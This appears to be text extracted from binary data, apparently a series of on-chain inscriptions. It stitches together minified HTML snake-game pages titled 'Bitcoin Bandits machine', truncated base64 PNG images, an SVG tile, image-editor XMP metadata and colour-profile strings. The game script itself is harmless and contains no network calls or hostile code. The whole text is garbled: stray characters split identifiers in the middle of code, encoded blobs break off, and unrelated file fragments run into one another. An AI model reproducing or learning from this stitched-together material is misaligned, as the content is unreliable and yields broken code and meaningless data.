QSnQAEEp0ABBWQcN9NWaNWtKt48uWTrgmYwv4jx10ABBKdAAQU2riCP/qLL+2mXF+K5bhjGb4biybNuqafWfQWj5v0+0CIDB00EDBKVAAwQ1Mrpk6fZhTwKAsXTQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQf0/BrXohQpUroEAAAAASUVORK5CYII=" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),griM
d=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.ceM
lls.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}doM6
cument.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0107/4096 3,2,0,1,0 ~0.6064451979473233-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#767C89" width="100%" height="100%"/>
<polyline fill="#F2F652" points="0,8 5,5 5,5 0,0 "/>
<polyline fill="#F652A0" points="8,0 1,7 2,7 8,8 "/>
<polyline fill="#52F6A8" points="8,8 1,4 2,4 0,8 "/>
<polyline fill="#36EEE0" points="0,0 1,7 3,6 8,0 "/>
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1M
.0/" xmpMM:DocumentID="gimp:docid:gimp:2a0f55c5-e5ba-44a3-9511-c0ab0977570e" xmpMM:InstanceID="xmp.iid:5219a77d-e620-49a3-8b6e-f8f782af262e" xmpMM:OriginalDocumentID="xmp.did:841a0598-9f0d-49ea-84ae-26cdc6cb614b" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676412759596102" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:12:38+11:00" xmp:ModifyDate="2023:02:15T09:12:38+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saM
ved" stEvt:changed="/" stEvt:instanceID="xmp.iid:0030e04f-f433-4cdf-8324-24b7c8df09b0" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:12:39"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                              M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                                                                                                                           <?xpacket end="w"?>h!
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
"2,441,0/7>OC7:K;/0E^FKRTYYY5Bah`VgOWYU
(U909UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
kiTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adM
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:Attrib='http://ns.attribution.com/ads/1.0/'>
    <rdf:li rdf:parseType='Resource'>
     <Attrib:Created>2023-02-13</Attrib:Created>
     <Attrib:ExtId>67f0b60a-85ba-43b5-8b49-5364d704414e</Attrib:ExtId>
     <Attrib:FbId>525265914179580</Attrib:FbId>
     <Attrib:TouchType>2</Attrib:TouchType>
  xmlns:dc='http://purl.org/dc/elements/1.1/'>
    <rdf:li xml:lang='x-default'>Astonauts - 5</rdf:li>
 <rdf:Description rdf:about=''
  xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>
  <pdf:Author>ps20183089</pdf:Author>
 <rdf:Description rdf:about=''
  xmlns:xmp='http://ns.adobe.com/xap/1.0/'>
  <xmp:CreatorTool>Canva</xmp:CreatorTool>
<?xpacket end='r'?>$
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.aLzdobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
!222222222222222222222222222222222222222222222222M
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:xmpMM="http://nM
s.adobe.com/xap/1.0/mm/"
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:GIMP="http://www.gimp.org/xmp/"
    xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
   xmpMM:DocumentID="gimp:docid:gimp:a55306b0-d058-4218-a96d-0dd9088ee6de"
   xmpMM:InstanceID="xmp.iid:e35401e1-db58-40ec-ba1a-199ace68e4bc"
   xmpMM:OriginalDocumentID="xmp.did:388a070e-b43c-461f-9478-8ae8fd2a7699"
   dc:Format="image/png"
   GIMP:Platform="Windows"
   GIMP:TimeStamp="1676381667084757"
   GIMP:Version="2.10.30"
   tiff:Orientation="1"
   xmp:CreatorTool="GIMP 2.10">
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:d7ae273e-5a88-4e3b-914b-4de18dcc2491"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2023-02-14T08:34:27"/>
  </rdf:Description>
                       M





                                      M





                                                     M





                                                                    M






<?xpacket end="w"?>h!
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
   2   </rdf:Description>
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvM
as"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.M
y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*griM^
d,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAWEElEQVR4nO3df8xddX0H8G+tiEgpICXlR6EiClQRE3652CAPdV2RaJVFNzRgAmgyY8w2/5CYoDOyZNFsLotZZqxLmeDELaSKTkViqTKYgCWKjFIQsUALXctaoXUQrN0fD+fc7/M85zz3x3PvPZ97n9frn3577rnnfvs85MPnvs/3nLNg5Zq1BxMA4bys6QkAUE2BBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYI6uVNT4C47rz1lqanQJ+sXLO2M
6SnQAx00QFAKNEBQIg5qo4yDn/9wOV7wiXXl+MBD56WUUtr5yXsHOzF6svRvzivHC8/wOxplOmiAoBRogKBEHPNMVZyRRxmdqIo28q/VDF/+OxE9jQ8dNEBQCjRAUCKOMdXJyozCU5u+U7nv8RPvnPUz6mKNSy9/oc3sWr5+8f3l+P3fP6uv78v3qdq3289ud7xu59frPAobbjy0HOe/CxHH+NBBAwSlgx4D3Zz4q+uW5+r5G/Oube5dZT/e16u6zyvGVZ30oOdR5fkbW+NXXu4k7TjSQQMEpUADBCXiGCH9OPHXpLoTdOPyeXWKz+52Pt2cXGQ86aABglKgAYIScQTUTZSRUsw4o0rV6oh+fNUfJ92stWb86aABglKgAYIScTQswkUm0Y3KBS7QbzpogKAUaICgRBxDMuoXmbQz5V4Q36++m92oxAzd3B1vWJ/N/KSDBghqwco1aw82PYlxMk5rmPP7QedP9d5x6cx9PfKqWXX3gD5hw+SfK9esHeJs6BcdNEBQM
CjRAUE4SzsF8XcNcxBmeJB3TlLhpg9/LKNNBAwSlQAMEJeLowLivYc61e5J3SiktPMPX5tDEGmNDBw0QlAINEJSIY5r5tDKjKs7IL0jJrVq1atDTYQ42btxYud0FKqNNBw0QlAINENS8jTiszKiOM0QZsYky5hcdNEBQCjRAUPMq4shjjdvPX1SOJ977/nI86nFGoe5Wobmq24amVP0VmuErbhWaE2XMLzpogKDmVQddp13X/Mv7WifOrr7u7nL8ow37BzanQcm75iPf2Nw8qPaqZdlf3Gx/3tNBAwSlQAMEJeKoceGlh5fj7atvLscnpmVVu4+9KU/tZs6ev9Ed52hPBw0QlAINEJSIo8/yFR+vO3u01xTnsYav5P3lZ0sndNAAQSnQAEGJOPrs4muyFR+LWis+RvGiljrF13PPJuzMgYcmf16iDLqlgwYISoEGCErE0SflhS379gzsM6KsECmijbeseXdjcxglC8/4Vkoppf3XNjwRRo4OGiAoHfQImQ8nIIEWM
HTRAUAo0QFAijuDyu+oN8gQkEI8OGiAoBRogKBHHHEyJH16Sr64AmAsdNEBQCjRAUCKOOdi+78kZ21xAAvSLDhogKAUaICgRxxxUrdgQawD9ooMGCEoHPQf96JaLezxffd3dfT1uJw7/+cSsrx+43LcBaJIOGiAoBRogKBFHA/JLxLevnrwJ/4mpwUvE33Fxa/y97zc3D2AKHTRAUAo0QFAiDsQaEJQOGiAoBRogKBFHw4rLxfM741146XBWdOx/86Y2e5w3jGkANXTQAEEp0ABBiTgakN9ro7hoJb8zXh53DPIZh4c/c/nk4E1ntjb+4oFyeCBtHdhnA+3poAGCUqABghJxdOnL654ux3kAcPqSI3o6XtWtRYe1iqOMNrJYY0rcIeKARumgAYLSQdfIO+X8x9Rrp9yNqpOIA1F0zjUnCdOqwX000J4OGiAoBRogKBHHNFt3P5dSGk6U0bT9x9w4OdiRbTwm38Ol3tAkHTRAUAo0QFAijmnmQ7RROPzAR2d9/UC6M
